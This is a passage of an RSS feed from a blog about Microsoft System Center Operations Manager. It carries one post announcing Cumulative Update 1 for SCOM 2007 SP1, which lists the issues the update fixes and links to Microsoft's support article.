		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://opsm.gr/2010/08/04/omwatcher-v1-5-beta-testers-wanted/</feedburner:origLink></item>
		<item>
		<title>OpsMgr SP1 CU1 Released</title>
		<link>http://feedproxy.google.com/~r/opsmgr/~3/PrESQDnfgK4/</link>
		<comments>http://opsm.gr/2010/08/04/opsmgr-sp1-cu1-released/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 15:34:57 +0000</pubDate>
		<dc:creator>Dan Kregor</dc:creator>
				<category><![CDATA[OpsMgr]]></category>
		<category><![CDATA[Hotfix]]></category>
		<category><![CDATA[SCOM]]></category>
		<category><![CDATA[SP1]]></category>

		<guid isPermaLink="false">http://opsm.gr/?p=42</guid>
		<description><![CDATA[For all those out there that are running System Cent er Operations Manager 2007 SP1 (as opposed to R2), the first Cumulative Update has been released, aptly named CU1. From the official Microsoft techNet article: The Microsoft System Center Operations Manager 2007 SP1 Cumulative Update 1 resolves many issues that are found in System Center [...]]]></description>
			<content:encoded><![CDATA[<p>For all those out there that are running System Cent er Operations Manager 2007 SP1 (as opposed to R2), the first Cumulative Update has been released, aptly named CU1.</p>
<p>From the official Microsoft techNet article:</p>
<blockquote><p>The Microsoft System Center Operations Manager 2007 SP1 Cumulative  Update 1 resolves many issues that are found in System Center Operations  Manager 2007 SP1. A prerequisite for installation of the Cumulative  Update 1 is installation of System Center Operations Manager SP1 Update  (KB <a href="http://support.microsoft.com/kb/971541/">971541</a> (<a href="http://support.microsoft.com/kb/971541/">http://support.microsoft.com/kb/971541/</a> )         ). Cumulative Update 1 addresses the following issues:</p>
<ul>
<li>The  Active Alerts report from the data warehouse includes auto-resolved  alerts that are no longer active in the Operations Manager Console.</li>
<li>The Generic performance report consumes lots of temporary database space and can fail in some instances.</li>
<li>The  agents that are taken out of maintenance mode revisit old entries in  the Application log in certain cases. When this occurs, incorrect alerts  are generated.</li>
<li>When Antigen Enterprise Manager (AEM) is set up to use SharePoint, reports from Watson are blocked.</li>
<li>Reports  for Operation Manager 2007 SP1 fail when you use a shared data  warehouse after you upgrade a Management Group to System Center  Operations Manager 2007 R2.</li>
<li>Because of a thread-locking issue, the SDK service stops responding in certain cases.</li>
<li>The color of the chart lines does not match the legend in Performance views when the Web Console is used.</li>
<li>ACS stops collecting data when the event log uses auto-backup.</li>
<li>The Alert View link in the notification emails shows the list of active alerts, instead of the detailed alert description.</li>
<li>The allow anonymous discovery property in the Internet Information Services (IIS) Management Pack is incorrect in the console.</li>
<li>Management Pack discoveries fail when a double-byte character exists in string data that is returned.</li>
</ul>
</blockquote>
<p>For more information and to download a copy, go to <a href="http://support.microsoft.com/?kbid=2028594" target="_blank">http://support.microsoft.com/?kbid=2028594</a></p>
<img src="http://feeds.feedburner.com/~r/opsmgr/~4/PrESQDnfgK4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://opsm.gr/2010/08/04/opsmgr-sp1-cu1-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://opsm.gr/2010/08/04/opsmgr-sp1-cu1-released/</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 1.470 seconds. --><!-- Cached page generated by WP-Super-Cache on 2012-02-09 21:45:45 -->

